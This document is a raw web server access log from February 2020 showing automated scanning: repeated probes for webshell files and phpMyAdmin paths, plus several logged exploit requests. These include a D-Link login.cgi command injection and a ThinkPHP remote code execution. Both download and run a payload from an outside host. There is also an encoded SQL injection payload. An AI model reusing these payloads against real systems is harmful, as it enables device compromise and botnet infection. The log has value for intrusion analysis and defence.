106.13.88.214 - - [04/Feb/2020:18:10:40 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:40 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:18:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.88.214 - - [04/Feb/2020:18:10:43 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:43 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.13.88.214 - - [04/Feb/2020:18:11:11 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.13.88.214 - - [04/Feb/2020:18:11:35 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [04/Feb/2020:18:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.88.214 - - [04/Feb/2020:18:11:59 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.13.88.214 - - [04/Feb/2020:18:12:23 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
151.226.25.182 - - [04/Feb/2020:18:12:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:18:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.88.214 - - [04/Feb/2020:18:12:47 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
42.119.75.67 - - [04/Feb/2020:18:12:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.13.88.214 - - [04/Feb/2020:18:13:11 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
151.20.76.234 - - [04/Feb/2020:18:13:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
106.13.88.214 - - [04/Feb/2020:18:13:35 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [04/Feb/2020:18:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.88.214 - - [04/Feb/2020:18:14:03 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
106.13.88.214 - - [04/Feb/2020:18:14:03 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
106.13.88.214 - - [04/Feb/2020:18:14:07 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
106.13.88.214 - - [04/Feb/2020:18:14:07 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
106.13.88.214 - - [04/Feb/2020:18:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [04/Feb/2020:18:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.88.214 - - [04/Feb/2020:18:15:03 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
106.13.88.214 - - [04/Feb/2020:18:15:35 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [04/Feb/2020:18:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.175.253.10 - - [04/Feb/2020:18:16:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.13.88.214 - - [04/Feb/2020:18:16:03 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
106.13.88.214 - - [04/Feb/2020:18:16:27 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [04/Feb/2020:18:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.88.214 - - [04/Feb/2020:18:16:55 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:\"num\";s:147:\"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:2:\"id\";s:9:\"' union/*\";s:4:\"name\";s:3:\"ads\";}45ea207d7a2b68c49582d2d22adf953a" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.13.88.214 - - [04/Feb/2020:18:16:55 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:16:55 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:16:56 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:16:56 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:16:57 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:16:57 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:16:57 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:16:59 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:00 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:00 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:00 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:01 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:01 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:03 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:03 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:03 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:03 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:04 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:04 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:07 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:18 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:39 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:39 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:40 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [04/Feb/2020:18:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.88.214 - - [04/Feb/2020:18:17:43 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:43 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:43 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:47 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
46.109.121.23 - - [04/Feb/2020:18:17:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.13.88.214 - - [04/Feb/2020:18:17:59 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:17:59 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:18:03 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:18:03 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:18:03 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:18:03 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:18:04 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:18:04 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:18:06 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:18:07 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:18:17 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:18:35 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:18:36 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [04/Feb/2020:18:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.5.85 - - [04/Feb/2020:18:18:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.13.88.214 - - [04/Feb/2020:18:18:59 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:18:59 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:18:59 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:03 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:03 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:04 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:07 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:07 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:11 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:11 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:15 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:19 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:19 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:19 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:23 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:23 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:23 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:23 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:24 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:24 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:24 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:25 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:27 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:28 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:28 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:28 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:28 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:29 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:29 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:31 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:31 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:31 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:31 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:32 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:32 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:32 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:32 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:32 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:33 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:35 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:35 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:35 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:35 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:36 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:36 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:36 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:39 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:40 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
